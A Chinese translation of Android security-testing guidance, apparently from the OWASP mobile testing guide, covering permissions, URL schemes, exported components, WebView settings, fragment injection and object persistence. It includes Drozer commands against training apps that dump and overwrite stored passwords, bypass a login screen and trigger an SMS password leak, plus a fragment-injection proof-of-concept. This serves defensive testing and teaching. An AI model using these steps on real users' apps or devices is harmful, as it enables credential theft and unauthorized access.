測試APP權(quán)限
overview
每個Android app在一個進(jìn)程沙箱中活動,app必須明確申請沙箱外的資源和數(shù)據(jù)。訪問請求通過聲明他們需要的使用系統(tǒng)數(shù)據(jù)和特征的權(quán)限?;跀?shù)據(jù)和特征的敏感關(guān)鍵程度,系統(tǒng)會自動授權(quán)或者詢問用戶批準(zhǔn)請求。
基于提供的保護(hù)程度,權(quán)限分為四個種類:
- Normal:對其他應(yīng)用、用戶、系統(tǒng)風(fēng)險小,在安裝應(yīng)用時授權(quán)。是默認(rèn)的權(quán)限。
- Dangrous:這類權(quán)限往往掌控用戶數(shù)據(jù)和以影響用戶的方式控制設(shè)備。這類權(quán)限可能不會在安裝時被授權(quán),app是否能獲得權(quán)限會遵循用戶的決定。
- Signature:只有在請求app與申明這項(xiàng)權(quán)限的app簽名相同時,才能被授予。如果簽名匹配,自動授予權(quán)限。
- SystemOrSignature:只授權(quán)給嵌入系統(tǒng)鏡像中的應(yīng)用程序,或者與聲明權(quán)限相同的應(yīng)用程序簽名一致。
自定義權(quán)限
Android允許app向其他app暴露組件,定制權(quán)限在app訪問暴露組件時需要??梢栽趍anifest.xml文件中使用兩個強(qiáng)制屬性創(chuàng)建標(biāo)簽:
android:nameandroid:protectionLevel
依據(jù)最小權(quán)限原則,創(chuàng)建自定義權(quán)限是非常關(guān)鍵的:權(quán)限應(yīng)該按照目的,用有意義和精確的標(biāo)簽和描述顯式定義。
下面是一個自定義權(quán)限START_MAIN_ACTIVITY的例子,在啟動TEST_ACTIVITY活動時需要。
<permission android:name="com.example.myapp.permission.START_MAIN_ACTIVITY"
android:label="Start Activity in myapp"
android:description="Allow the app to launch the activity of myapp app, any app you grant this permission will be able to launch main activity by myapp app."
android:protectionLevel="normal" />
<activity android:name="TEST_ACTIVITY"
android:permission="com.example.myapp.permission.START_MAIN_ACTIVITY">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>
任何聲明了START_MAIN_ACTIVITY權(quán)限的app都可以啟動這個活動,通過user-permission標(biāo)簽請求:
<uses-permission android:name="com.example.myapp.permission.START_MAIN_ACTIVITY"/>
靜態(tài)分析
Android 權(quán)限
檢查是否需要這些權(quán)限,去除不必要的權(quán)限。
仔細(xì)檢查權(quán)限,與開發(fā)者勸人每一個權(quán)限的目的,去除不必要的權(quán)限。
除了分析AndroidManifest.xml文件外,可以使用工具aapt:
$ aapt d permissions com.owasp.mstg.myapp
uses-permission: android.permission.WRITE_CONTACTS
uses-permission: android.permission.CHANGE_CONFIGURATION
uses-permission: android.permission.SYSTEM_ALERT_WINDOW
uses-permission: android.permission.INTERNAL_SYSTEM_WINDOW
定制權(quán)限
除了通過應(yīng)用程序清單文件強(qiáng)制執(zhí)行定制權(quán)限之外,還可以通過編程方式檢查權(quán)限。但是,這是不推薦的,因?yàn)樗菀壮鲥e,并且可以更容易地繞過它,例如,運(yùn)行時插裝。當(dāng)看到像下面的代碼片段這樣的代碼時,請確保在manifest文件中強(qiáng)制執(zhí)行相同的權(quán)限。
int canProcess = checkCallingOrSelfPermission("com.example.perm.READ_INCOMING_MSG");
if (canProcess != PERMISSION_GRANTED)
throw new SecurityException();
動態(tài)分析
已經(jīng)安裝的應(yīng)用的權(quán)限可以由drozer獲得
dz> run app.package.info -a com.android.mms.service
Package: com.android.mms.service
Application Label: MmsService
Process Name: com.android.phone
Version: 6.0.1
Data Directory: /data/user/0/com.android.mms.service
APK Path: /system/priv-app/MmsService/MmsService.apk
UID: 1001
GID: [2001, 3002, 3003, 3001]
Shared Libraries: null
Shared User ID: android.uid.phone
Uses Permissions:
- android.permission.RECEIVE_BOOT_COMPLETED
- android.permission.READ_SMS
- android.permission.WRITE_SMS
- android.permission.BROADCAST_WAP_PUSH
- android.permission.BIND_CARRIER_SERVICES
- android.permission.BIND_CARRIER_MESSAGING_SERVICE
- android.permission.INTERACT_ACROSS_USERS
Defines Permissions:
- None
測試自定義url
Android允許app之間通過自定義URL方案交流,這些自定義的URL允許其他應(yīng)用在提供自定義URL方案的應(yīng)用中執(zhí)行特定的行為。自定義的URI能從任何方案的前綴開始,他們一般定義動作在應(yīng)用和參數(shù)中執(zhí)行。
考慮如下設(shè)計的例子:sms://compose/to=your.boss@company.com&message=I%20QUIT!&sendImmediately=true,當(dāng)一個受害者在手機(jī)上點(diǎn)擊這個鏈接時,有漏洞的SMS應(yīng)用會發(fā)送包含惡意內(nèi)容的短信。這可能造成:
- 錢財丟失
- 手機(jī)號碼暴露
一旦一個URL方案被定義,多個app能注冊所有可能的方案。對于每個應(yīng)用,每個這種自定義URL方案必須遍歷,執(zhí)行的行為必須測試。
URL方案可以用于深度連接,這是一種通過連接啟動原生移動應(yīng)用的廣泛而便捷的方法,他本身是沒有風(fēng)險。
然而,通過URL方案的數(shù)據(jù)必須驗(yàn)證。
靜態(tài)分析
檢查自定義URL方案是否被定義。在androidmanifest.xml文件中的intentfilter元素中。
<activity android:name=".MyUriActivity">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data android:scheme="myapp" android:host="path" />
</intent-filter>
</activity>
這個例子中方案叫做myapp://。這個category允許URI用瀏覽器打開。
數(shù)據(jù)能通過新的方案傳播,比如,下列URI:myapp://path/to/what/i/want?keyOne=valueOne&keyTwo=valueTwo,通過以下代碼恢復(fù)數(shù)據(jù):
Intent intent = getIntent();
if (Intent.ACTION_VIEW.equals(intent.getAction())) {
Uri uri = intent.getData();
String valueOne = uri.getQueryParameter("keyOne");
String valueTwo = uri.getQueryParameter("keyTwo");
}
動態(tài)分析
通過Drozer模塊scanner.activity.browsable遍歷app中的URL方案:
dz> run scanner.activity.browsable -a com.google.android.apps.messaging
Package: com.google.android.apps.messaging
Invocable URIs:
sms://
mms://
Classes:
com.google.android.apps.messaging.ui.conversation.LaunchConversationActivity
可以使用Drozer模塊中app.activity.start調(diào)用自定義URL模型
dz> run app.activity.start --action android.intent.action.VIEW --data-uri "sms://0123456789"
調(diào)用自定義方案(myapp://someaction/?var0=string&var1=string)模塊可能被用來發(fā)送數(shù)據(jù)給app:
Intent intent = getIntent();
if (Intent.ACTION_VIEW.equals(intent.getAction())) {
Uri uri = intent.getData();
String valueOne = uri.getQueryParameter("var0");
String valueTwo = uri.getQueryParameter("var1");
}
測試通過IPC暴露
在實(shí)現(xiàn)移動應(yīng)用程序的過程中,開發(fā)人員可以應(yīng)用傳統(tǒng)的IPC技術(shù)(例如使用共享文件或網(wǎng)絡(luò)套接字)。應(yīng)該使用移動應(yīng)用程序平臺提供的IPC系統(tǒng)功能,因?yàn)樗葌鹘y(tǒng)技術(shù)要成熟得多。使用沒有安全性的IPC機(jī)制可能會導(dǎo)致應(yīng)用程序泄漏或暴露敏感數(shù)據(jù)。
下面是一個可能公開敏感數(shù)據(jù)的Android IPC機(jī)制列表:
靜態(tài)分析
所有的組件必須在AndroidManifest.xml中聲明,只有Broadcast receivers可以動態(tài)創(chuàng)建。
暴露的組件可以被其他應(yīng)用訪問,暴露組件有兩種方式:
- 導(dǎo)出標(biāo)簽設(shè)置
android:exported="ture" - 定義在組件中定義
<intent-filter>就會默認(rèn)導(dǎo)出標(biāo)簽為true。
如果要限制其他應(yīng)用的訪問,在組件中聲明了android:permission,設(shè)置合適的android:protectionLever。如果在service中聲明了android:permission,其他app想要訪問必須在manifest文件中聲明一個相對應(yīng)的<user-permission>。
一旦識別了一個IPC列表,查看源代碼,檢查當(dāng)機(jī)制使用時,敏感數(shù)據(jù)是否泄漏。
下面是兩個例子:
Activity
檢查AndroidManifest
檢查源代碼
通過檢查PWList.javaacitivty,可以看到它提供了列舉關(guān)鍵字、添加、刪除選項(xiàng)等。如果直接調(diào)用,就可以繞過LoginActivity。更多可以在動態(tài)分析中找到。
Services
檢查Manifest文件
在"Sieve"app中,有兩個導(dǎo)出的service:
<service android:exported="true" android:name=".AuthService" android:process=":remote"/>
<service android:exported="true" android:name=".CryptoService" android:process=":remote"/>
檢查源代碼
搜索源代碼的字符串,比如sendBroadcast,sendOrderedBroadcast, 和 sendStickyBroadcast. 確保應(yīng)用沒有發(fā)送任何敏感數(shù)據(jù)。
如果一個intent只在應(yīng)用內(nèi)部廣播和接收,應(yīng)該使用LocalBroadcastManager限制其他應(yīng)用接收廣播的消息。這減少了信息泄露的風(fēng)險。
為了更好的理解接受者要做什么,我們必須深入靜態(tài)分析類 android.content.BroadcastReceiver和 Context.registerReceiver (動態(tài)創(chuàng)建接受者) 的使用。
下面提取目標(biāo)的源代碼,顯示了廣播接收者觸發(fā)包括用戶解密口令的SMS的轉(zhuǎn)發(fā)。
public class MyBroadCastReceiver extends BroadcastReceiver {
String usernameBase64ByteString;
public static final String MYPREFS = "mySharedPreferences";
@Override
public void onReceive(Context context, Intent intent) {
// TODO Auto-generated method stub
String phn = intent.getStringExtra("phonenumber");
String newpass = intent.getStringExtra("newpass");
if (phn != null) {
try {
SharedPreferences settings = context.getSharedPreferences(MYPREFS, Context.MODE_WORLD_READABLE);
final String username = settings.getString("EncryptedUsername", null);
byte[] usernameBase64Byte = Base64.decode(username, Base64.DEFAULT);
usernameBase64ByteString = new String(usernameBase64Byte, "UTF-8");
final String password = settings.getString("superSecurePassword", null);
CryptoClass crypt = new CryptoClass();
String decryptedPassword = crypt.aesDeccryptedString(password);
String textPhoneno = phn.toString();
String textMessage = "Updated Password from: "+decryptedPassword+" to: "+newpass;
SmsManager smsManager = SmsManager.getDefault();
System.out.println("For the changepassword - phonenumber: "+textPhoneno+" password is: "+textMessage);
smsManager.sendTextMessage(textPhoneno, null, textMessage, null, null);
廣播接受者應(yīng)該使用android:permission屬性,否則,其他應(yīng)用能調(diào)用他們。可以使用Context.sendBroadcast(intent, receiverPermission); 明確一個接收者必須擁有什么權(quán)限來獲取廣播。
也可以設(shè)置一個顯式應(yīng)用包名限制處理這個intent的組件。如果屬性默認(rèn),所有應(yīng)用的組件都可以訪問。如果不空,intent可以匹配給定應(yīng)用包的組件。
動態(tài)分析
用Drozer遍歷組件,模塊app.package.attacksurface:
dz> run app.package.attacksurface com.mwr.example.sieve
Attack Surface:
3 activities exported
0 broadcast receivers exported
2 content providers exported
2 services exported
is debuggable
content providers
Sieve應(yīng)用包含一個由漏洞的content provider,列舉暴露的內(nèi)容提供器:
dz> run app.provider.finduri com.mwr.example.sieve
Scanning com.mwr.example.sieve...
content://com.mwr.example.sieve.DBContentProvider/
content://com.mwr.example.sieve.FileBackupProvider/
content://com.mwr.example.sieve.DBContentProvider
content://com.mwr.example.sieve.DBContentProvider/Passwords/
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.FileBackupProvider
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Keys
"password"和"key"命名的內(nèi)容提供器是信息泄露最可疑的。
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Keys
Permission Denial: reading com.mwr.example.sieve.DBContentProvider uri content://com.mwr.example.sieve.DBContentProvider/Keys from pid=4268, uid=10054 requires com.mwr.example.sieve.READ_KEYS, or grantUriPermission()
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Keys/
| Password | pin |
| SuperPassword1234 | 1234 |
這個內(nèi)容提供器不需要訪問權(quán)限:
dz> run app.provider.update content://com.mwr.example.sieve.DBContentProvider/Keys/ --selection "pin=1234" --string Password "newpassword"
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Keys/
| Password | pin |
| newpassword | 1234 |
Actiity
用模塊app.activity.info列舉暴露的activity。明確目標(biāo)包用-a或者忽略這個選項(xiàng)以設(shè)備上的所有app為目標(biāo)
dz> run app.activity.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
com.mwr.example.sieve.FileSelectActivity
Permission: null
com.mwr.example.sieve.MainLoginActivity
Permission: null
com.mwr.example.sieve.PWList
Permission: null
遍歷Sieve的所有活動,com.mwr.example.sieve.PWList不需要任何權(quán)限導(dǎo)出??梢允褂媚K app.activity.start 啟動這個activity。
dz> run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList
因?yàn)檫@個活動可以直接調(diào)用,所以用登錄保護(hù)的管理就會被繞過。
service
遍歷模塊app.service.info:
dz> run app.service.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
com.mwr.example.sieve.AuthService
Permission: null
com.mwr.example.sieve.CryptoService
Permission: null
先使用靜態(tài)分析來識別需要的輸入,然后與service通信。
用app.service.send 與service通信,更改目標(biāo)應(yīng)用中存儲的密碼:
dz> run app.service.send com.mwr.example.sieve com.mwr.example.sieve.AuthService --msg 6345 7452 1 --extra string com.mwr.example.sieve.PASSWORD "abcdabcdabcdabcd" --bundle-as-obj
Got a reply from com.mwr.example.sieve/com.mwr.example.sieve.AuthService:
what: 4
arg1: 42
arg2: 0
Empty
broadcast receivers
遍歷模塊 app.broadcast.info,目標(biāo)用-a參數(shù):
dz> run app.broadcast.info -a com.android.insecurebankv2
Package: com.android.insecurebankv2
com.android.insecurebankv2.MyBroadCastReceiver
Permission: null
用Drozer模塊app.broadcast.send ,我們可以定制一個intent來觸發(fā)廣播并發(fā)送密碼給手機(jī)號碼
dz> run app.broadcast.send --action theBroadcast --extra string phonenumber 07123456789 --extra string newpass 12345
嗅探intent
如果廣播intents沒有設(shè)置需要的權(quán)限或者明確目的包,這個intent會被設(shè)備上的所有device監(jiān)視。
注:AcitivityManageService,簡稱AMS的intent分發(fā)機(jī)制,只把intent發(fā)送給匹配的intent-filter
登記一個broadcast receiver嗅探itent,使用Drozer模塊 app.broadcast.sniff ,用參數(shù)--action 表示監(jiān)視的動作:
dz> run app.broadcast.sniff --action theBroadcast
[*] Broadcast receiver registered to sniff matching intents
[*] Output is updated once a second. Press Control+C to exit.
Action: theBroadcast
Raw: Intent { act=theBroadcast flg=0x10 (has extras) }
Extra: phonenumber=07123456789 (java.lang.String)
Extra: newpass=12345 (java.lang.String)
測試WebView中的JavaScript執(zhí)行
overview
JavaScript可以通過反射、存儲或者基于DOM 的xss注入到web應(yīng)用中。移動應(yīng)用在沙箱環(huán)境中執(zhí)行,并且在本地實(shí)現(xiàn)時不會有這種漏洞。盡管如此,webview可能允許網(wǎng)頁瀏覽作為原生應(yīng)用的一部分。每個應(yīng)有有自己的Webview緩存,它不會與原生瀏覽器或者其他應(yīng)用共享。在Android上,webview使用webkit渲染引擎來顯示網(wǎng)頁,但是頁面被精簡到最小的功能。例如,頁面沒有地址欄。如果WebView的實(shí)現(xiàn)太過于寬松,并且允許使用JavaScript,那么他就可以用來攻擊應(yīng)用程序并訪問它的數(shù)據(jù)。
靜態(tài)分析
檢查源代碼中的WebView類使用和執(zhí)行。創(chuàng)建和使用一個WebView,必須創(chuàng)建一個WebView實(shí)例。
WebView webview = new WebView(this);
setContentView(webview);
webview.loadUrl("https://www.owasp.org/");
JavaScript必須顯示地確認(rèn)。查找方法 setJavaScriptEnabled 檢查JavaScript的激活。
webview.getSettings().setJavaScriptEnabled(true);
這使得WebView解釋JavaScript。還有在有必要的時候用它來減少app的攻擊面。如果JavaScript是必須的,你應(yīng)該確定:
- 斷電的通信始終依賴于HTTPS(或者其他允許加密的協(xié)議)來保護(hù)HTML和JavaScript在傳輸過程中不被篡改。
- JavaScript和HTML在本地加載時,是來自app數(shù)據(jù)目錄或者可信web服務(wù)器
當(dāng)app關(guān)閉時,去除所有JavaScript資源代碼和本地存儲數(shù)據(jù),用clearCache()清除WebView的cache。
在Android 4.4以下版本的設(shè)備上運(yùn)行時,會使用一個由一些安全問題的WebKit。作為一種變通方法,該應(yīng)用必須確認(rèn),如果應(yīng)用在這些設(shè)備上運(yùn)行,WebView對象只顯示可信內(nèi)容。
動態(tài)檢測
動態(tài)檢測依賴于操作環(huán)節(jié),這是一些向WebView中注入JavaScript的方法:
- 在端點(diǎn)有存儲xxs漏洞,當(dāng)用戶導(dǎo)航到易受攻擊的功能時,該漏洞將被發(fā)送到移動應(yīng)用的WebView。
- 攻擊者獲得中間人位置,通過注入JavaScript篡改應(yīng)答。
- 惡意應(yīng)用篡改webView加載的本地文件
要處理這些中間向量,檢查:
- 端點(diǎn)提供的所有功能應(yīng)該避免存儲xss
- 只有在數(shù)據(jù)目錄的文件能被WebView呈現(xiàn)
- HTTP必須根據(jù)最佳實(shí)踐實(shí)現(xiàn)HTTPS通信,以避免中間人攻擊。這以為著:
- 所有通信通過TLS加密
- 正確檢測所有證書(參加測試用例“測試端點(diǎn)識別驗(yàn)證”)
- 證書應(yīng)該被固定(參見“測試定制證書存儲和SSL固定”)
測試WebView協(xié)議處理
overview
一些默認(rèn)URL方案 可用,他們可以在WebView中觸發(fā),通過以下例子:
- http(s)://
- file://
- tel://
WebView能從一個端點(diǎn)加載遠(yuǎn)程內(nèi)容,但是他們也能從app數(shù)據(jù)目錄和外部存儲加載。如果本地內(nèi)容加載,用戶不應(yīng)該影響文件名或者用來加載的路徑,用戶應(yīng)該不能編輯加載文件。
靜態(tài)分析
檢查使用WebView的源代碼,WebView控制資源訪問設(shè)置如下:
-
setAllowContentAccess:允許WebView從安裝在系統(tǒng)中的content provider加載內(nèi)容,默認(rèn)啟用。 -
setAllowFileAccess:在WebView中啟用或禁止文件訪問。文件訪問默認(rèn)開啟,注意這知識啟用和禁止訪問文件系統(tǒng)。asset和資源不熟應(yīng)用,可以通過file:///android_asset和file:///android_res訪問。 -
setAllowFileAccessFromFileURLs:是否允許JavaScript在文件模式URL的上下文中運(yùn)行,以訪問文件模式URLs中的內(nèi)容。API 15 及以下默認(rèn)true,API16及以上 默認(rèn)false。 -
setAllowUniversalAccessFromFileURLs:是否允許JavaScript在文件模式URL的上下文中運(yùn)行,以訪問來自任何來源的內(nèi)容。API 15 及以下默認(rèn)true,API16及以上 默認(rèn)false。
如果以上一個或多個方法是啟用的,應(yīng)該確定這些方法是否對正常的工作有必要。
如果一個WebView實(shí)例被識別,查出本地文件是否被方法loadURL() 加載。
WebView = new WebView(this);
webView.loadUrl("file:///android_asset/filename.html");
HTML文件加載的地址必須被驗(yàn)證。如果文件從外部存儲中加載,比如,文件可以被所有人讀和寫。這是一種不好的做法,文件應(yīng)該放在app的assets目錄中。
webview.loadUrl("file:///" +
Environment.getExternalStorageDirectory().getPath() +
"filename.html");
在loadURL中指定的URL應(yīng)該檢查可以被操縱的動態(tài)參數(shù);他們的操縱可能導(dǎo)致本地文件被包含。
如果適用的話,可以使用下面的代碼片段和最佳實(shí)踐來禁用協(xié)議處理程序:
// 如果攻擊者能向WebView注入腳本,他們可以訪問本地資源。這可以通過禁用本地文件系統(tǒng)訪問限制這種攻擊,默認(rèn)是啟用的。
webView.getSettings().setAllowFileAccess(false);
webView.getSettings().setAllowFileAccessFromFileURLs(false);
webView.getSettings().setAllowUniversalAccessFromFileURLs(false);
webView.getSettings().setAllowContentAccess(false);
動態(tài)檢測
為了識別協(xié)議處理程序的用法,在使用該應(yīng)用程序時,尋找觸發(fā)電話調(diào)用的方法,以及從文件系統(tǒng)訪問文件的方法。
檢查java類是否通過WebView暴露
overview
Android為JavaScript提供一種方法addJavascriptInterface. 可以在WebView中執(zhí)行調(diào)用app原生功能。
這個方法允許向WebView暴露Java Objects。當(dāng)你在app中使用這種方法時,可以調(diào)用app原生方法。
在Android4.2(API 17)之前,在執(zhí)行addJavascriptInterface:時發(fā)現(xiàn)一個漏洞 :當(dāng)惡意JavaScript腳本注射到WebView中,導(dǎo)致遠(yuǎn)程代碼執(zhí)行。
這個漏洞在4.2版本中修復(fù),訪問Java類方法的授權(quán)改變。當(dāng)使用addJavascriptInterface,添加@JavascriptInterface注釋,java類方法只能被JavaScript訪問。之前的版本,默認(rèn)所有類方法都能被訪問。
靜態(tài)分析
檢查方法是否被使用,怎么使用,攻擊者能否注入惡意JavaScript
下面的例子展示addJavascriptInterface 如何用來連接java類和WebView中的JavaScript
WebView webview = new WebView(this);
WebSettings webSettings = webview.getSettings();
webSettings.setJavaScriptEnabled(true);
MSTG_ENV_008_JS_Interface jsInterface = new MSTG_ENV_008_JS_Interface(this);
myWebView.addJavascriptInterface(jsInterface, "Android");
myWebView.loadURL("http://example.com/file.html");
setContentView(myWebView);
API 17以上,使用注釋JavascriptInterface 顯示允許JavaScript訪問Java方法。
public class MSTG_ENV_008_JS_Interface {
Context mContext;
/** Instantiate the interface and set the context */
MSTG_ENV_005_JS_Interface(Context c) {
mContext = c;
}
@JavascriptInterface
public String returnString () {
return "Secret String";
}
/** Show a toast from the web page */
@JavascriptInterface
public void showToast(String toast) {
Toast.makeText(mContext, toast, Toast.LENGTH_SHORT).show();
}
}
如果注釋 @JavascriptInterface 在方法中定義,方法就能被JavaScript調(diào)用。
調(diào)用returnString方法獲取返回值,返回值存儲在參數(shù) result
var result = window.Android.returnString();
通過訪問JavaScript代碼,存儲型XXS或者中間人攻擊,攻擊者直接調(diào)用暴露的Java方法。
動態(tài)分析
寫一個JavaScript payload ,注入到app文件中。注入可以通過MITM攻擊或者直接修改外部存儲中的文件。整個過程可以通過Drozer和weasel完成。
MWR的博客中 有完整的攻擊描述。
測試Fragment注入
overview
SDK為開發(fā)者提供了一種展示Preference activity的方法,允許開發(fā)者繼承和改編抽象類。
抽象類分析一個intent額外的數(shù)據(jù)域,特別是,PreferenceActivity.EXTRA_SHOW_FRAGMENT(:android:show_fragment) 和PreferenceActivity.EXTRA_SHOW_FRAGMENT_ARGUMENTS(:android:show_fragment_arguments)
第一個域需要包含一個Fragment 類名,第二個需要包含傳遞給Fragment的輸入的bundle。
因?yàn)?code>PreferenceActivity使用反射加載fragment,所以一個任意的類可能會被加載到包或Android SDK中。 加載的類在導(dǎo)出這個activity的應(yīng)用的上下文中執(zhí)行。
有了這個漏洞攻擊者可以在目的應(yīng)用中調(diào)用fragment,或者執(zhí)行其他類的構(gòu)造函數(shù)中的代碼。任何在intent中傳遞的、不擴(kuò)展Fragment的類會造成java.lang.CastException 。但是在異常拋出之前,空的構(gòu)造函數(shù)會被執(zhí)行,允許在類構(gòu)造函數(shù)中出現(xiàn)的代碼運(yùn)行 。
為了限制這個漏洞,isValidFragment被添加到Android 4.4 KitKat(API Level 19)。允許開發(fā)者重寫這些方法并且定義可能會被用到的fragment
在Android 4.4 KitKat(API Level 19)默認(rèn)執(zhí)行返回true,拋出異常。
靜態(tài)分析
步驟:
- 找到包
minSDKVersion確定類行為 - 找到集成
PreferenceActivity的暴露組件 -
isValidFragment有沒有被重寫
繼承的例子:
public class MyPreferences extends PreferenceActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
重寫isValidFragment方法,只允許MyPreferenceFragment的加載:
@Override
protected boolean isValidFragment(String fragmentName)
{
return "com.fullpackage.MyPreferenceFragment".equals(fragmentName);
}
有漏洞的app和利用
MainActivity.class
public class MainActivity extends PreferenceActivity {
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
}
}
MyFragment.class
public class MyFragment extends Fragment {
public void onCreate (Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
}
public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) {
View v = inflater.inflate(R.layout.fragmentLayout, null);
WebView myWebView = (WebView) wv.findViewById(R.id.webview);
myWebView.getSettings().setJavaScriptEnabled(true);
myWebView.loadUrl(this.getActivity().getIntent().getDataString());
return v;
}
}
利用這個漏洞,創(chuàng)建一個應(yīng)用:
Intent i = new Intent();
i.setFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
i.setClassName("pt.claudio.insecurefragment","pt.claudio.insecurefragment.MainActivity");
i.putExtra(":android:show_fragment","pt.claudio.insecurefragment.MyFragment");
Intent intent = i.setData(Uri.parse("https://security.claudio.pt"));
startActivity(i);
Vulnerable App 和 Exploit PoC App 下載
測試類持久化
overview
在Android上持久化一個對象有幾種方法:
對象序列化
對象及其數(shù)據(jù)可以表示為字節(jié)序列。這是通過對象串行化在Java中完成的。串行化并不是固有的安全。它只是在.ser文件中本地存儲數(shù)據(jù)的二進(jìn)制格式(或表示)。只要密鑰是安全存儲的,就可以對hmac-序列化數(shù)據(jù)進(jìn)行加密和簽名。反序列化一個對象需要一個與用來序列化對象的類相同的類。在類被更改之后,ObjectInputStream無法從較老的.ser文件中創(chuàng)建對象。下面的例子展示了如何通過實(shí)現(xiàn)Serializable接口來創(chuàng)建可序列化的類。
import java.io.Serializable;
public class Person implements Serializable {
private String firstName;
private String lastName;
public Person(String firstName, String lastName) {
this.firstName = firstName;
this.lastName = lastName;
}
//..
//getters, setters, etc
//..
}
現(xiàn)在可以通過 ObjectInputStream/ObjectOutputStream 在另一個類中讀寫了。
JSON
有幾種方法可以將對象的內(nèi)容序列化為JSON。Android附帶了JSONObject和JSONArray類。也可以使用包括GSON或Jackson在內(nèi)的各種各樣的庫。庫之間的主要區(qū)別在于,它們是否使用反射來組合對象,是否支持注釋,以及它們使用的內(nèi)存數(shù)量。請注意,幾乎所有的JSON表示都是基于字符串的,因此是不可變的。這意味著任何存儲在JSON中的秘密都將更難從內(nèi)存中刪除。JSON本身可以存儲在任何地方,例如,一個(NoSQL)數(shù)據(jù)庫或一個文件。您只需要確保包含機(jī)密的任何JSON都得到了適當(dāng)?shù)谋Wo(hù)(例如,加密/hmaced)。有關(guān)更多細(xì)節(jié),請參閱數(shù)據(jù)存儲章節(jié)。下面是一個簡單的例子(來自GSON用戶指南),使用GSON來編寫和讀取JSON。在這個例子中,bagof原語的一個實(shí)例的內(nèi)容被序列化成JSON:
class BagOfPrimitives {
private int value1 = 1;
private String value2 = "abc";
private transient int value3 = 3;
BagOfPrimitives() {
// no-args constructor
}
}
// Serialization
BagOfPrimitives obj = new BagOfPrimitives();
Gson gson = new Gson();
String json = gson.toJson(obj);
// ==> json is {"value1":1,"value2":"abc"}
orm
有一些庫提供了直接在數(shù)據(jù)庫中存儲對象內(nèi)容的功能,然后用數(shù)據(jù)庫內(nèi)容實(shí)例化對象。這被稱為對象關(guān)系映射(ORM)。使用SQLite數(shù)據(jù)庫的庫包括 :
- OrmLite,
- SugarORM,
- GreenDAO and
- ActiveAndroid.
Realm 另一方面,領(lǐng)域使用自己的數(shù)據(jù)庫來存儲類的內(nèi)容。ORM所能提供的保護(hù)數(shù)量主要取決于數(shù)據(jù)庫是否被加密。有關(guān)更多細(xì)節(jié),請參閱數(shù)據(jù)存儲章節(jié)。Realm網(wǎng)站包含了一個很好的 example of ORM Lite.
Parcelable
可分配的是一個類的接口,它的實(shí)例可以被寫入并從包裹中恢復(fù)。 包裹通常被用來包裝一個類作為一個包的一部分。 下面是一個實(shí)現(xiàn)可分配的Android開發(fā)者文檔示例:
public class MyParcelable implements Parcelable {
private int mData;
public int describeContents() {
return 0;
}
public void writeToParcel(Parcel out, int flags) {
out.writeInt(mData);
}
public static final Parcelable.Creator<MyParcelable> CREATOR
= new Parcelable.Creator<MyParcelable>() {
public MyParcelable createFromParcel(Parcel in) {
return new MyParcelable(in);
}
public MyParcelable[] newArray(int size) {
return new MyParcelable[size];
}
};
private MyParcelable(Parcel in) {
mData = in.readInt();
}
}
靜態(tài)分析
如果對象持久性被用于在設(shè)備上存儲敏感信息,首先要確保信息是加密的,并且是signe/hmaced。有關(guān)更多細(xì)節(jié),請參閱數(shù)據(jù)存儲和加密管理的章節(jié)。接下來,確保只有在用戶經(jīng)過身份驗(yàn)證之后才能獲得解密和驗(yàn)證密鑰。安全檢查應(yīng)該在正確的位置進(jìn)行,就像在最佳實(shí)踐中所定義的那樣。
有一些通用的補(bǔ)救步驟,你可以一直這樣做:
- 確保敏感數(shù)據(jù)已被加密,并在序列化/持久性之后簽署。在使用數(shù)據(jù)之前評估簽名或HMAC。有關(guān)密碼學(xué)的章節(jié),請參閱相關(guān)章節(jié)。
- 確保步驟1中使用的鍵不能很容易地提取。用戶和/或應(yīng)用程序?qū)嵗龖?yīng)該被正確地驗(yàn)證/授權(quán)以獲得密鑰。有關(guān)更多細(xì)節(jié),請參閱數(shù)據(jù)存儲章節(jié)。
- 確保在被積極使用之前,要仔細(xì)驗(yàn)證反序列化對象中的數(shù)據(jù)(例如,不使用業(yè)務(wù)/應(yīng)用程序邏輯)。
對于關(guān)注可用性的高風(fēng)險應(yīng)用程序,我們建議只有當(dāng)序列化的類是穩(wěn)定的時才使用Serializable。 其次,我們建議不要使用基于反射的持久性,因?yàn)椋?/p>
- 攻擊者可以通過基于字符串的參數(shù)找到方法的簽名
- 攻擊者可能能夠操縱基于反射的步驟來執(zhí)行業(yè)務(wù)邏輯。
Object Serialization
尋找字符串:
import java.io.Serializableimplements Serializable
JSON
如果您需要對抗內(nèi)存轉(zhuǎn)儲,請確保非常敏感的信息不會以JSON格式存儲,因?yàn)槟荒鼙WC使用標(biāo)準(zhǔn)庫來防止反內(nèi)存轉(zhuǎn)儲技術(shù)。 JSONObject您可以在相應(yīng)的庫中檢查下列關(guān)鍵字:
import org.json.JSONObject;import org.json.JSONArray;
GSON 查找關(guān)鍵字:
import com.google.gsonimport com.google.gson.annotationsimport com.google.gson.reflectimport com.google.gson.streamnew Gson();- Annotations such as
@Expose,@JsonAdapter,@SerializedName,@Since, and@Until
Jackson 查找關(guān)鍵字:
import com.fasterxml.jackson.core-
import org.codehaus.jacksonfor the older version.
ORM
當(dāng)您使用ORM庫時,請確保數(shù)據(jù)存儲在一個加密的數(shù)據(jù)庫中,并且在存儲之前,類表示是單獨(dú)加密的。 有關(guān)更多細(xì)節(jié),請參閱數(shù)據(jù)存儲和加密管理的章節(jié)。 OrmLite 可以在相應(yīng)的庫中檢查下列關(guān)鍵字:
